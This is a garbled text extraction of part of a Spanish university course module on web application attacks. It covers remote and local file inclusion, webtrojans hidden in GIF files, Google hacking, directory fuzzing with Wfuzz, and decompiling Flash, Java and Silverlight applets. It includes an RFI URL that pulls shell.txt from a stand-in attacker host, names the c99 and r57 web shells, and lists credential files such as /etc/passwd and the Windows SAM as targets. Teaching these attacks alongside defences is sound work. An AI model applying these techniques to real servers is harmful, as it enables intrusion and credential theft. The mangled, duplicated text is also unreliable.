estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 55: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

